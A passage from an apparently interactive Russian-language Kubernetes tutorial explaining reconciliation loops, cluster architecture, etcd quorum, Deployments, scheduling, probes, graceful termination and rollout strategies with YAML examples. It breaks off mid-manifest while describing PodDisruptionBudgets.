    Проще говоря. Docker умеет упаковать и запустить контейнер на одном сервере. Kubernetes отвечает на вопрос «что делать с сотнями контейнеров на десятках серверов, чтобы люди не просыпались по ночам». Он не заменяет контейнеры — он ими управляет. Образы для него по-прежнему собирают Docker или похожими инструментами.

    Чего Kubernetes не делает

    Не собирает код

    Собрать образ, прогнать тесты и отправить образ в хранилище — работа конвейера CI/CD. Kubernetes получает уже готовый образ.

    Не чинит архитектуру

    Если сервис хранит корзину в памяти, а копий четыре, Kubernetes не сделает её общей. Если сервисы связаны синхронной цепочкой, он не спасёт от каскадного отказа.

    Не делает базу надёжной сам

    Запустить PostgreSQL в кластере можно. Но реплики, переключение и бэкапы всё равно кто-то должен настроить — человек или специальная программа-оператор (глава 14).

    Не бесплатен

    Нужны люди, которые его понимают, обновляют и чинят. Для трёх сервисов на двух серверах он чаще мешает, чем помогает (глава 15).

    глава 2 · главная идея термостат: вы описываете «что», а не «как»

    Прежде чем смотреть на детали, поймём одну мысль. На ней держится весь Kubernetes. Если её понять, остальное — подробности.

    Императивно: «сделай вот это»

    Команды по шагам: «запусти контейнер на сервере 3», «останови на сервере 5», «запусти ещё два». Если шаг не удался или кто-то потом что-то поменял руками — никто об этом не узнает. Команда выполнилась и забыта.

    Декларативно: «должно быть так»

    Описание результата: «должно работать 4 копии магазина версии 2.0». Как этого добиться — забота системы. Если через час одна копия упадёт, система сама заметит расхождение и исправит.

    Декларативный подход — вы записываете желаемый результат, а не последовательность действий. Система сама вычисляет, какие действия нужны, чтобы к нему прийти.
    Желаемое состояние (desired state, в манифесте — раздел spec) — то, что вы заказали. Фактическое состояние (actual state, раздел status) — то, что есть на самом деле прямо сейчас.
    Контроллер (controller) — программа, которая бесконечно делает три вещи: смотрит на фактическое состояние, сравнивает его с желаемым и, если есть разница, делает шаг, чтобы её уменьшить. Этот бесконечный круг называется циклом согласования (reconciliation loop).
    термостат в квартире. Вы ставите 22 градуса — это желаемое. Градусник показывает 19 — это фактическое. Термостат не «выполняет команду включить батарею на 20 минут». Он просто снова и снова смотрит: холоднее, чем надо? Включаю. Стало 22? Выключаю. Открыли окно — снова холоднее — снова включаю. Никому не надо сообщать ему, что открыли окно: он это видит сам.

    Покрутите цикл сами

    Слева термостат, справа контроллер Kubernetes, который следит за числом копий магазина. Оба работают по одному и тому же циклу. Нажимайте «Шаг цикла» и смотрите, какая фаза подсвечена. Потом устройте беду: откройте окно или уроните под — и снова крутите цикл.

    1 · Наблюдать→2 · Сравнить→3 · Действовать↺

    🌡 Термостат

    19°в комнате · хочу 22°

    ☸ Контроллер Deployment «shop»

    3пода работают · хочу 3

    Четыре следствия, которые надо запомнить

    1. Повторить — безопасно

    Применить одно и то же описание второй раз — ничего не изменится: желаемое уже совпадает с фактическим. Это называют идемпотентностью. Поэтому описания можно спокойно применять из конвейера при каждой выкатке.

    2. Самоисцеление

    Никто не пишет скрипт «если упал под — поднять». Это просто частный случай расхождения, и цикл исправляет его сам, как любое другое.

    3. Реакция на состояние, а не на событие

    Контроллеру не страшно пропустить сообщение «под упал». На следующем круге он просто увидит, что подов меньше, чем нужно. Так устроен термостат: ему не звонят, когда открывают окно.

    4. Ручные правки перезапишут

    Если Борис вручную поднимет число копий до шести, а в описании записано четыре, — при следующем применении описания (или сразу, если настроен GitOps, глава 14) их снова станет четыре. Правда — в описании, а не в том, что кто-то сделал руками.

    Вот как это выглядит в самом объекте. Kubernetes хранит оба раздела рядом: spec пишете вы, status заполняют контроллеры.

    apiVersion: apps/v1
    kind: Deployment
    metadata:
      name: shop
    spec:                 # желаемое — пишет человек (или конвейер)
      replicas: 4
    status:               # фактическое — пишут контроллеры
      replicas: 4         # подов создано
      readyReplicas: 3    # из них готовы принимать запросы
      updatedReplicas: 4  # уже на новой версии
    Типичная ошибка. «Быстро поправить в проде» командой kubectl edit или kubectl scale. Правка работает до следующей выкатки, потом молча исчезает — описание в репозитории её не знает. Или наоборот: в кластере живёт то, чего нет ни в одном файле, и никто не может это воспроизвести. Правило: меняем описание в репозитории, а кластер догоняет.
    Как это звучит у аналитика. Требование «при падении экземпляра сервиса он должен быть восстановлен автоматически без участия человека» в Kubernetes выполняется само собой — это свойство цикла согласования. А вот «восстановлен за 10 секунд» уже зависит от настроек: сколько поднимается приложение, как быстро заметят смерть узла (главы 5 и 8).

    глава 3 · устройство мозг и руки: из чего состоит кластер

    Кластер делится на две части. Одна думает, другая делает.

    Плоскость управления (control plane) — «мозг» кластера. Хранит все описания, решает, где что запускать, и следит за циклами согласования. Обычно работает на трёх отдельных машинах, чтобы пережить потерю одной. В облаке её часто полностью берёт на себя провайдер.
    Рабочие узлы (worker nodes) — «руки». На них работают ваши поды. Каждый узел получает от мозга указания и докладывает, что у него происходит.
    порт. Диспетчерская башня — плоскость управления: там журнал, планы и люди, которые распределяют суда. Причалы с кранами и бригадами — рабочие узлы. Если башня на час закроется, суда у причалов продолжат разгружаться. Но новые суда никто не примет, а сломавшийся кран никто не заменит.

    Нажмите на любую часть

    У каждой части — что она делает, на что похожа и что сломается, если она упадёт. Переключите режим на «💥 Ронять» и уроните одну или несколько частей: справа появится таблица, что продолжит работать. Это главный вопрос, который архитектор задаёт о любой системе.

    Плоскость управления (control plane)
    Каждый рабочий узел
    Дополнения, без которых кластер не живёт

    Что продолжит работать

    Как читать таблицу. ✓ — работает как обычно, ⚠ — работает частично или со старыми данными, ✕ — не работает. Обратите внимание на первую строку: почти при любом падении «мозга» уже запущенные поды продолжают обслуживать Анну. Это важное свойство: плоскость управления можно потерять ненадолго без простоя для пользователей. Но пока её нет, кластер «замерзает»: нельзя ничего выкатить и некому лечить.

    etcd и Raft: почему «мозгов» обычно три

    Все описания кластера — каждый Deployment, каждый под, каждый секрет — хранятся в одном месте: в базе etcd. Если etcd потерять без резервной копии, кластер забудет всё, что в нём было. Поэтому etcd запускают в трёх или пяти копиях, а договариваются копии по алгоритму Raft.

    etcd — распределённое хранилище «ключ — значение». Хранит всё состояние кластера. Запись считается сделанной, только когда её подтвердило большинство копий (кворум): две из трёх или три из пяти.
    протокол собрания жильцов, который ведут три секретаря. Решение внесено в протокол, только если его записали хотя бы двое из трёх. Один заболел — собрание продолжается. Заболели двое — протокол вести нельзя: оставшийся не знает, согласны ли остальные, и не имеет права писать один.

    3 копии

    Кворум — 2. Переживает потерю одной копии. Самый частый вариант.

    5 копий

    Кворум — 3. Переживает потерю двух. Для крупных кластеров и трёх зон доступности с запасом.

    2 или 4 копии

    Бессмысленно. Из двух кворум — 2, то есть потеря любой копии останавливает запись. Из четырёх кворум — 3, переживает ту же одну потерю, что и три копии, но дороже.

    Как именно копии выбирают лидера и договариваются о записи, подробно разобрано в разделе про консенсус. Здесь важно следствие: если потерян кворум etcd, кластер перестаёт принимать любые изменения. Работающие поды живут, но выкатить, перезапустить, масштабировать нельзя.

    Ещё одна деталь устройства. Все части общаются только через API-сервер. Планировщик не звонит kubelet-у, контроллер не пишет в etcd напрямую. Каждый «подписывается» у API-сервера на изменения нужных ему объектов (это называется watch) и записывает туда свои решения. Как общая доска объявлений в диспетчерской: все пишут на доску и читают с доски, никто не бегает друг к другу. Поэтому любую часть можно перезапустить — она просто снова прочитает доску.

    глава 4 · кирпичики под, ReplicaSet, Deployment и метки

    В Kubernetes всё — объекты: записи в etcd с описанием желаемого. Объектов много видов. Начнём с трёх главных, из которых собран почти любой сервис «Ботинка», и с того, как они находят друг друга.

    Под

    Под (pod) — один или несколько контейнеров, которые всегда запускаются вместе на одном узле, делят один IP-адрес (и потому видят друг друга по localhost) и могут делить общие папки-тома.
    каюта на корабле с одним номером. Внутри может жить один пассажир или пассажир с помощником. Помощник всегда плывёт в той же каюте, что и пассажир, — иначе он бесполезен.

    Главное свойство пода — он смертный. Под не лечат и не переносят. Если он умер или его узел умер, контроллер создаёт новый под — с новым именем и новым IP-адресом. Поэтому никогда нельзя полагаться на адрес конкретного пода: для этого есть Service (глава 11).

    Не путайте два «перезапуска». Если внутри пода упал контейнер, kubelet перезапустит его на месте: под тот же, адрес тот же, счётчик перезапусков (RESTARTS) вырос на один. Если удалён или выселен сам под — появится другой под, возможно на другом узле, с другим адресом.

    🧰 Init-контейнеры

    Контейнеры-подготовщики. Запускаются по очереди до главного и должны успешно закончиться. Пока они не закончили, главный контейнер не стартует. Примеры: дождаться, пока станет доступна база, скачать файлы, выставить права на папку.

    🏍 Sidecar-контейнеры

    Помощники, которые живут рядом с главным всё время: прокси сервисной сетки, сборщик логов, программа, обновляющая сертификаты. С версии 1.33 у Kubernetes есть «родные» sidecar-контейнеры: это init-контейнер с restartPolicy: Always. Он стартует раньше главного, живёт вместе с ним и останавливается после него — поэтому логи последних секунд не теряются.

    spec:
      initContainers:
        - name: wait-db                  # подготовщик: отработал и закончился
          image: busybox:1.36
          command: ["sh", "-c", "until nc -z db 5432; do sleep 2; done"]
        - name: log-shipper              # родной sidecar (стабилен с 1.33)
          image: fluent/fluent-bit:3.2
          restartPolicy: Always          # ← вот что делает его sidecar-ом
      containers:
        - name: shop                     # главный контейнер
          image: registry.botinok.ru/shop:2.0.3

    ReplicaSet и Deployment

    ReplicaSet — объект, который следит, чтобы работало ровно N одинаковых подов. Меньше — создаёт недостающие, больше — удаляет лишние. Руками его почти никогда не создают.
    завхоз в классе: «стульев должно быть 30». Один сломали — он принёс новый. Лишний притащили — унёс. Какие именно стулья — ему всё равно, лишь бы одинаковые и нужное число.
    Deployment — объект, которым описывают обычный сервис без собственного состояния. Deployment управляет ReplicaSet-ами: на каждую версию шаблона пода — свой ReplicaSet. При выкатке новой версии он плавно наращивает новый ReplicaSet и сокращает старый. Хранит историю версий, чтобы можно было откатиться.
    прораб, который меняет в классе старые стулья на новые. Он нанимает второго завхоза для новых стульев и командует обоими: «ты принеси ещё два новых, а ты унеси два старых». Старого завхоза не увольняет сразу — вдруг новые стулья окажутся кривыми и придётся вернуть старые.
    Deployment shopжелаемое: 4 копии, образ shop:2.0
    ▼ управляет ReplicaSet-ами
    ReplicaSet shop-6c8fверсия 1.0 · хранится для отката · 0 копий
    ReplicaSet shop-7d9fверсия 2.0 · 4 копии
    ▼ каждый держит нужное число подов
    shop-7d9f-a1xnode-1
    shop-7d9f-b2knode-2
    shop-7d9f-c3mnode-3
    shop-7d9f-d4pnode-1
    Кто есть кто в ответственности. Deployment отвечает за версии и порядок их смены. ReplicaSet — за количество. Kubelet на узле — за то, чтобы контейнеры пода работали. Каждый занят своим циклом согласования и ничего не знает о чужой работе, кроме того, что лежит на общей доске — в API-сервере.

    Метки и селекторы: как объекты находят друг друга

    Метка (label) — пара «ключ = значение», которую вешают на объект: app=shop, version=2.0, env=prod. Селектор (selector) — условие отбора по меткам: «все поды, у которых app=shop».
    цветные стикеры на коробках на складе. Грузчику говорят не «возьми коробки №17, №42 и №58», а «возьми все коробки с зелёным стикером». Появилась новая коробка с зелёным стикером — её тоже возьмут, и никого не надо предупреждать.

    В Kubernetes нет жёстких ссылок «этот Service — вот на эти три пода». ReplicaSet считает «свои» поды по селектору. Service отправляет трафик всем готовым подам, подходящим под его селектор. Это гибко, но опасно: одна опечатка в метке — и связь тихо рвётся. Попробуйте сами: выберите селектор Service и посмотрите, какие поды получат трафик.

    🏷 Аннотации

    Аннотация (annotation) — тоже пара «ключ = значение», но по ней не отбирают. Это заметки для людей и инструментов: причина изменения, ссылка на задачу, настройки для системы мониторинга или для контроллера входящего трафика. Как бирка «хрупкое, не кантовать» на коробке: грузчик её читает, но коробки по ней не сортирует.

    🏢 Пространства имён

    Пространство имён (namespace) — логическая «папка» внутри кластера: shop-prod, shop-stage, monitoring. Имена объектов уникальны только внутри своей папки. На папку вешают права доступа, квоты ресурсов и сетевые правила. Как этажи офисного здания: у каждого отдела свой, пропуск выдаётся на этаж.

    Пространство имён — не стена. По умолчанию поды из разных пространств имён свободно ходят друг к другу по сети и могут оказаться на одном узле. Чтобы отделить «прод» от «теста» по-настоящему, нужны сетевые правила (глава 11), права доступа (глава 13), а для жёстких требований — вообще отдельные кластеры.

    глава 5 · живой кластер пульт: ломайте, выкатывайте, откатывайте

    Это модель настоящего кластера «Ботинка». Три узла, у каждого 4 процессора (CPU) и 8 ГиБ памяти. На них работают два сервиса: shop (магазин — им управляете вы) и catalog (каталог — просто сосед, который тоже занимает место). Каждый под shop просит 1 CPU и 1,5 ГиБ памяти, под catalog — 0,5 CPU и 1 ГиБ.

    Внизу — журнал событий, как его показывает команда kubectl get events, и строка «желаемое — фактическое». Кластер начнёт жить, как только вы что-нибудь нажмёте. Можно поставить на паузу и идти по шагам кнопкой «⏭ Шаг».

    4
    1
    0
    готов (Ready) — получает запросы запускается работает, но не готов узел молчит — состояние неизвестно завершается (Terminating) версия v1 версия v2 catalog
    LAST SEENTYPEREASONOBJECTMESSAGE
    Как читать схему. Карточка — узел. Полоски — сколько CPU и памяти уже обещано подам (это их запросы, requests, а не реальная загрузка — глава 7). Плитка — под; цвет рамки — его состояние, цветная полоса слева — версия. Щёлкните по плитке, чтобы убить этот под. Поды, которым не нашлось места, стоят в жёлтой зоне Pending под узлами. Журнал — свежие события сверху; строки синего цвета — ваши команды.

    Что попробовать — по порядку

    1
    Убейте под. ReplicaSet заметит, что подов 3 вместо 4, и создаст новый. Планировщик найдёт ему узел, kubelet запустит.Это цикл согласования из главы 2 в чистом виде.
    2
    Убейте узел. Смотрите: сначала ничего не происходит — плоскость управления ещё не знает о смерти. Потом узел становится NotReady, его поды — «неизвестно». И только после этого их выселяют и создают замену.В настоящем кластере по умолчанию: около 50 секунд до NotReady и ещё 5 минут до выселения. В модели время сжато.
    3
    Поднимите replicas до 10–12. Места не хватит: лишние поды повиснут в Pending с событием FailedScheduling. Нажмите «Добавить узел» — они сразу сядут.В облаке это делает автомасштабирование узлов (глава 10).
    4
    Выкатите v2. При maxSurge=1 и maxUnavailable=0 новые поды появляются по одному, старые уходят только после того, как новый стал готов.Попробуйте разные значения ползунков и посмотрите, как меняется скорость и сколько подов одновременно работает.
    5
    Сломайте v2 и выкатите её. Новый под запустится, но не пройдёт проверку готовности. Выкатка встанет: старые поды продолжат обслуживать покупателей. Потом нажмите «Откатить».Kubernetes сам не откатывает — он только останавливается и через время пишет ProgressDeadlineExceeded.
    6
    Коварный случай. Поставьте replicas = 9 (кластер забит под завязку), maxSurge=1, maxUnavailable=0 и выкатите v2. Лишнему поду негде встать, а старые уходить не имеют права — выкатка стоит.Решение: поднять maxUnavailable до 1 или добавить узел.
    Что вы увидите. Kubernetes никогда не «чинит» под — он удаляет и создаёт новый. Он никогда не узнаёт о смерти узла мгновенно. И он никогда не решает за вас, что новая версия плохая, — он только отказывается продолжать, если она не проходит проверки. Все три свойства напрямую влияют на требования к доступности (глава 15).

    глава 6 · от YAML до пода манифест построчно и путь kubectl apply

    Желаемое состояние записывают в файлы формата YAML — это манифесты. Борис хранит их в репозитории рядом с кодом. Ниже — настоящий манифест магазина: Deployment и Service в одном файле (объекты разделены строкой ---). Щёлкайте по строкам: справа появится объяснение, а связанные строки подсветятся зелёным.

    Манифест (manifest) — текстовое описание одного или нескольких объектов Kubernetes. У каждого объекта четыре обязательные части: apiVersion (какой версией API описан), kind (что это за объект), metadata (имя, метки) и spec (желаемое).
    бланк заказа в типографии. Сверху — тип бланка и его редакция, потом — кто заказчик и как назвать заказ, потом — что именно напечатать. Типография не спрашивает, в каком порядке работать: она читает бланк и делает.

    Разобрано строк: 0. Балл засчитывается после десяти.

    Что происходит после kubectl apply -f shop.yaml

    Борис нажал Enter. Через секунду он видит ответ deployment.apps/shop configured. Но в этот момент ещё ничего не запущено: API-сервер только записал желаемое в etcd. Всё остальное делают контроллеры, каждый своим циклом. Пройдите путь по шагам. У каждого шага есть «если сломается».

    🔐 Аутентификация

    «Кто ты?» — по сертификату, токену сервисного аккаунта или через вход по OIDC у корпоративного провайдера. Своих учётных записей людей в Kubernetes нет.

    🛂 Авторизация (RBAC)

    «Можно ли тебе это?» — есть ли у Бориса право менять Deployment в пространстве имён shop-prod. Глава 13.

    🧾 Контроль допуска (admission)

    «Соответствует ли правилам?» — сначала изменяющие проверки дописывают значения по умолчанию, потом проверяющие отклоняют запрещённое: контейнер от root, образ не из своего хранилища, нет лимитов памяти.

    Главное в этом пути. Ни одна часть не приказывает другой. API-сервер записал — контроллер Deployment увидел и записал ReplicaSet — контроллер ReplicaSet увидел и записал поды — планировщик увидел поды без узла и записал узел — kubelet увидел «на меня назначен под» и запустил. Цепочка из независимых циклов, связанных только через общую доску. Поэтому любое звено можно перезапустить, и цепочка продолжится с того же места.

    Команды, которые аналитику стоит узнавать в логах и тикетах

    КомандаЧто делает
    kubectl apply -f shop.yamlОтправить желаемое состояние. Повторный запуск безопасен.
    kubectl get pods -n shop-prodСписок подов: готовность (READY), состояние (STATUS), перезапуски (RESTARTS).
    kubectl describe pod shop-7d9f-a1xВсё про один под, включая события внизу: почему не запустился, почему перезапускается.
    kubectl logs shop-7d9f-a1x --previousЛоги контейнера; с --previous — логи предыдущего, упавшего запуска.
    kubectl get events --sort-by=.lastTimestampЖурнал событий кластера — тот, что вы видели на пульте.
    kubectl rollout status deployment/shopДождаться окончания выкатки или увидеть, что она застряла.
    kubectl rollout undo deployment/shopВернуть предыдущую версию шаблона пода.

    глава 7 · планировщик куда поставить под: requests, taints и affinity

    На пульте вы видели, что поды садятся на узлы сами. Это работа планировщика (kube-scheduler). Он берёт каждый под без узла и выбирает ему узел в два этапа.

    1. Фильтрация (filter)

    Отбросить узлы, где под жить не может: не хватает обещанных ресурсов, узел «отталкивает» такие поды, не подходит по правилам размещения, узел закрыт на обслуживание.

    2. Оценка (score)

    Из оставшихся выбрать лучший: по умолчанию тот, где больше свободного места, где меньше копий того же сервиса и где уже скачан нужный образ. Победитель получает под.

    расселение гостей на свадьбе. Сначала отсекаем столы, где не хватает мест, где сидят те, с кем гостю нельзя сидеть, и детский стол для взрослых. Потом из подходящих выбираем самый удобный: где просторнее и где не собрались уже все родственники с одной стороны.

    Requests и limits: обещание и потолок

    Requests (запросы) — сколько CPU и памяти поду гарантировано. Планировщик складывает запросы подов на узле и не посадит новый под, если сумма превысит ёмкость узла. На реальную загрузку он не смотрит — только на обещания.
    Limits (лимиты) — потолок, выше которого контейнер подняться не может. Превысил лимит по CPU — его притормаживают (throttling): программа работает, но медленнее. Превысил лимит по памяти — ядро убивает контейнер (OOMKilled) и kubelet его перезапускает.
    бронь столика в ресторане. Request — сколько мест за вами закреплено, даже если вы пришли вдвоём. Limit — сколько стульев максимум можно приставить к столику. Ресторан рассаживает по броням, а не по тому, сколько людей реально пришло.

    CPU считают в «миллиядрах»: 500m — половина одного ядра, 2 — два ядра. Память — в байтах с суффиксами: 512Mi — 512 мебибайт, 2Gi — 2 гибибайта.

    Класс качества (QoS)Когда присваиваетсяЧто это значит
    GuaranteedУ каждого контейнера requests = limits и по CPU, и по памятиСамые защищённые. При нехватке памяти на узле их трогают последними.
    BurstableЕсть хоть какие-то requests или limits, но не «ровно»Середина. Могут брать больше запрошенного, пока на узле свободно.
    BestEffortНет ни requests, ни limitsЖивут «на удачу». При нехватке памяти на узле их выселяют первыми.
    Три частые ошибки с ресурсами. 1) Не указать requests — планировщик считает под бесплатным и набивает узел, пока тот не начнёт задыхаться. 2) Лимит памяти меньше реального пика — сервис падает с OOMKilled под нагрузкой, ровно тогда, когда нужен больше всего. 3) Жёсткий лимит CPU у сервиса, чувствительного к задержкам, — вспышки притормаживания видны как рост p99. Насчёт лимитов CPU мнения в индустрии расходятся; насчёт памяти почти все советуют ставить limit равным request.

    Taints и tolerations: узел, который отталкивает

    Taint («пятно», метка-отпугиватель) вешают на узел: «сюда нельзя, если не разрешено особо». Toleration («терпимость») пишут в под: «мне это пятно не мешает». Под без toleration на такой узел не попадёт.
    табличка «только для персонала» на двери. Посетитель без бейджа туда не зайдёт. Но бейдж — это разрешение, а не приказ: сотрудник с бейджем может сидеть и в общем зале.

    Так отделяют дорогие узлы с видеокартами (GPU), узлы для баз данных, узлы плоскости управления. Сам Kubernetes тоже вешает taint-ы: например, на узел, который перестал отвечать, — node.kubernetes.io/unreachable. Именно этот taint через 5 минут выселяет поды с мёртвого узла, который вы видели на пульте.

    Affinity и распределение: правила «рядом» и «порознь»

    Node affinity

    «Ставь меня только на узлы с меткой zone=a» (обязательное правило) или «лучше на узлы с SSD» (пожелание). Притягивает под к узлам.

    Pod anti-affinity

    «Не ставь две копии shop на один узел». Чтобы смерть одного сервера не унесла сразу половину копий.

    Topology spread

    «Раскладывай копии по зонам доступности равномерно, разница не больше одной». Мягче и гибче, чем anti-affinity.

    Попробуйте: куда сядет под?

    Под shop описан справа. Настройте его запросы и правила — таблица покажет, какие узлы отсеяны на фильтрации и почему, как оценены оставшиеся и кто победил. Две задачи: 1) добейтесь, чтобы под не сел никуда, и прочитайте сообщение FailedScheduling; 2) посадите под на GPU-узел node-4 правильно — так, как это делают для подов, которым видеокарта действительно нужна.

    1
    2Gi
    Что вы увидите. Одна toleration не «притягивает» под к GPU-узлу, она только снимает запрет. Но оценка может и сама выбрать node-4 — он самый свободный. Так обычный под магазина занимает дорогой сервер с видеокартой. Поэтому GPU-подам ставят и toleration, и правило размещения, а обычным — ничего: taint держит их снаружи.
    Как это звучит у аналитика. «Экземпляры сервиса оплаты размещаются не менее чем в двух зонах доступности; отказ одной зоны не должен снижать число работающих экземпляров ниже двух». Архитектор переводит это в topology spread по зонам и число реплик, а не в «попросим админов разложить».

    глава 8 · пробы три вопроса к поду: жив? готов? уже запустился?

    Kubelet на каждом узле периодически «щупает» контейнеры — посылает HTTP-запрос, открывает TCP-соединение, вызывает gRPC-проверку или запускает команду внутри. Это пробы (probes). Их три, и они отвечают на разные вопросы. В разделе про балансировщики мы уже видели эти три вопроса; здесь — как именно их исполняет Kubernetes и почему путаница стоит так дорого.

    Liveness (живость) — «процесс не завис намертво?». Провалилась несколько раз подряд — kubelet убивает и перезапускает контейнер.
    Readiness (готовность) — «можно ли сейчас слать этому поду запросы?». Провалилась — под убирают из списка адресов Service, но не трогают. Прошла — возвращают.
    Startup (запуск) — «приложение уже поднялось?». Пока она не прошла, две другие пробы не выполняются. Нужна медленно стартующим приложениям, чтобы liveness не убила их, пока они ещё грузятся.
    кассир в магазине. Liveness — «кассир вообще в сознании?»: если нет, вызывают скорую и ставят другого. Readiness — «касса открыта?»: кассир пересчитывает деньги — вешает табличку «касса закрыта», люди идут к соседней, но никто не вызывает скорую. Startup — «кассир ещё переодевается»: пока он не вышел в зал, его не проверяют вовсе.

    Настройки по умолчанию: проверка раз в 10 секунд (periodSeconds: 10), ответ ждут 1 секунду (timeoutSeconds: 1), признают провал после 3 неудач подряд (failureThreshold: 3). Значит, liveness замечает зависание примерно за 30 секунд.

    Самая дорогая ошибка: liveness смотрит в базу

    Борис написал проверку /health «на совесть»: она проверяет, жив ли процесс, и отвечает ли база данных. И повесил её на liveness. Пока база здорова — всё хорошо. Посмотрим, что будет, когда она на минуту затормозит. Четыре пода магазина, одна база. Выберите, что проверяют пробы, включите беды и запустите.

    
        
    Что заложено в модель. Один шаг — 10 секунд (период проб). Проба ждёт ответа 1 секунду; база, которая отвечает за 3 секунды, для неё «не ответила». Провал признаётся после 3 неудач. Перезапущенному приложению нужно 10 секунд на старт. После нескольких перезапусков подряд kubelet делает паузы, которые растут: 10 с, 20 с, 40 с… до 5 минут — это состояние CrashLoopBackOff.

    ✅ Liveness: только своё

    Проверяет, что процесс отвечает: поток обработки не завис, нет взаимной блокировки. Никаких баз, очередей и соседних сервисов. Если зависимость лежит, перезапуск пода её не поднимет.

    ⚠ Readiness: осторожно с общими зависимостями

    Проверяет, готов ли под работать: прогрелся ли кеш, открыт ли пул соединений. Если туда же добавить общую базу, при её сбое все поды одновременно станут неготовыми, и у Service не останется ни одного адреса. Отказ зависимостей лучше обрабатывать в коде: таймаут, размыкатель, деградация.

    Как под завершается — и почему теряются запросы

    При каждой выкатке, масштабировании вниз и обслуживании узла поды удаляются. Если приложение к этому не готово, часть запросов пропадает — и все считают «пару ошибок на выкатке» нормой. Вот что происходит на самом деле:

    1
    Под помечен как завершающийся (Terminating). С этого момента контроллер убирает его адрес из EndpointSlice, а kube-proxy на всех узлах перестаёт слать туда новые соединения.Но это происходит параллельно с шагами 2–3 и занимает от долей секунды до нескольких секунд.
    2
    Выполняется хук preStop, если он задан. Обычно это пауза на несколько секунд: дать всем узлам успеть забыть адрес пода.Встроенная пауза sleep: {seconds: 5} работает даже в образах без утилиты sleep; включена по умолчанию с версии 1.30.
    3
    Контейнеру отправляется сигнал SIGTERM. Приложение должно перестать принимать новые соединения, доделать начатые запросы, закрыть соединения с базой.Если приложение игнорирует SIGTERM, оно просто будет работать до шага 4 и умрёт посреди запросов.
    4
    Через terminationGracePeriodSeconds (по умолчанию 30 с) — SIGKILL. Всё, что не успело, обрывается.Для долгих операций увеличивают период. Но слишком длинный период замедляет каждую выкатку и обслуживание узлов.
    Как это звучит у аналитика. «Сервис корректно завершает работу по сигналу остановки: не принимает новые запросы, завершает начатые в течение 25 секунд; во время плановой выкатки доля ошибок не превышает 0,1 %». Это проверяемое требование, а не пожелание «без простоя».

    глава 9 · выкатка и откат как Deployment меняет версию без простоя

    Новая версия магазина готова. Борис меняет в манифесте одну строку — тег образа с shop:1.0 на shop:2.0 — и применяет. Deployment видит: шаблон пода изменился. Он создаёт новый ReplicaSet и начинает перекладывать поды из старого в новый. По умолчанию — постепенно.

    RollingUpdate (плавная замена) — стратегия выкатки по умолчанию: новые поды добавляются, старые убираются небольшими порциями, так что сервис всё время работает. Размер порций задают два числа.
    maxSurge — на сколько подов больше желаемого можно временно иметь во время выкатки. maxUnavailable — на сколько подов меньше желаемого может быть готово. Оба задают числом или процентом; по умолчанию — 25 % и 25 %. Процент для maxSurge округляется вверх, для maxUnavailable — вниз.
    смена караула. maxSurge = 1, maxUnavailable = 0 — новый часовой сначала приходит на пост, и только потом старый уходит: пост ни секунды не пустует, но на минуту нужны двое. maxSurge = 0, maxUnavailable = 1 — старый уходит, и лишь потом приходит новый: людей хватает впритык, но пост на время пуст.

    Калькулятор выкатки

    Подберите числа для магазина. Калькулятор посчитает, сколько подов будет готово в худший момент, сколько лишних ресурсов понадобится и примерно сколько займёт выкатка.

    8
    25 %
    25 %
    30 с

    Проверьте на пульте

    Что вы увидите. При maxUnavailable = 0 сломанная версия не отнимает у покупателей ни одного пода: встаёт один новый неготовый под, и выкатка ждёт. При maxUnavailable = 1 выкатка успеет убрать один старый под — магазин работает на 3 из 4 подов, пока вы не откатите. А в забитом кластере maxSurge бесполезен: лишнему поду негде встать.

    Застряла — что дальше

    Deployment ждёт прогресса не вечно. Поле progressDeadlineSeconds (по умолчанию 600 секунд) задаёт срок. Если за это время выкатка не продвинулась, в статусе появится ProgressDeadlineExceeded. Откатывать сам Kubernetes не станет — он лишь честно сообщает «застрял». Решение принимает человек или конвейер: команда kubectl rollout status вернёт ошибку, и конвейер может выполнить kubectl rollout undo.

    История версий

    Каждый старый ReplicaSet — это сохранённая версия. По умолчанию хранится 10 (revisionHistoryLimit). kubectl rollout history показывает их, а причину изменения берёт из аннотации kubernetes.io/change-cause.

    Откат — это та же выкатка

    rollout undo просто возвращает старый шаблон пода. Старый ReplicaSet снова становится «новым» и плавно наращивается по тем же правилам maxSurge/maxUnavailable. Мгновенным откат не бывает.

    Recreate, blue-green и canary

    СпособКак делается в KubernetesКогда
    RollingUpdateВстроено в Deployment, стратегия по умолчанию.Обычные сервисы, где старая и новая версии могут работать одновременно.
    Recreatestrategy.type: Recreate — сначала удалить все старые поды, потом создать новые. Есть простой.Две версии не могут жить вместе: единственный писатель в файл, том, который подключается только к одному поду.
    Blue-greenДва Deployment (blue и green) и Service, у которого меняют селектор с version=blue на version=green. Или инструмент Argo Rollouts.Нужен мгновенный откат и хватает ресурсов на вторую полную копию.
    CanaryГрубо — пропорцией подов (1 новый из 10 ≈ 10 % соединений). Точно — весами маршрутов в Gateway API или сервисной сетке. С автоматическим анализом метрик — Argo Rollouts или Flagger.Рискованные изменения, которые хочется проверить на малой доле пользователей.
    # Canary через Gateway API: 90 % на стабильную версию, 10 % на новую
    apiVersion: gateway.networking.k8s.io/v1
    kind: HTTPRoute
    metadata:
      name: shop
    spec:
      parentRefs: [{ name: public-gw }]
      hostnames: ["botinok.ru"]
      rules:
        - backendRefs:
            - { name: shop-stable, port: 80, weight: 90 }
            - { name: shop-canary, port: 80, weight: 10 }

    PodDisruptionBudget: сколько подов можно забрать на обслуживание

    Узлы надо обновлять: ставить заплатки безопасности, менять версию Kubernetes. Для этого узел «осушают» (kubectl drain): закрывают для новых подов и по одному выселяют старые. Если на узле три из четырёх подов оплаты, а их выселят разом, оплата ляжет. Чтобы этого не случилось, есть бюджет.

    PodDisruptionBudget (PDB, бюджет прерываний) — правило «из подов с такими-то метками при плановых работах должно оставаться не меньше N готовых» (minAvailable) или «недоступными может быть не больше M» (maxUnavailable). Осушение узла и автомасштабирование узлов уважают бюджет и ждут, пока его можно соблюсти.
    правило в магазине: «на кассах всегда не меньше двух кассиров». Управляющий может отправить кассира на обучение, только если после этого останется двое. Но если кассир внезапно заболел — правило ничего не может с этим поделать.

    Защищает от добровольных прерываний

    Осушение узла при обновлении, удаление узла автомасштабированием, выселение через API выселения (Eviction API).

    Не защищает от

    Падения узла, сбоя железа, kubectl delete pod. И не управляет выкаткой Deployment — у неё свои maxSurge/maxUnavailable.

    Типичная ошибка. Поставить minAvailable равным числу реплик (или сделать PDB для сервиса из одного пода). Тогда ни один под нельзя выселить никогда — осушение узла зависает навсегда, и плановое обновление кластера стоит, пока кто-то не придёт разбираться. Бюджет должен разрешать забрать хотя бы один под.
    apiVersion: policy/v1
    kind: PodDisruptionBudget
    metadata:
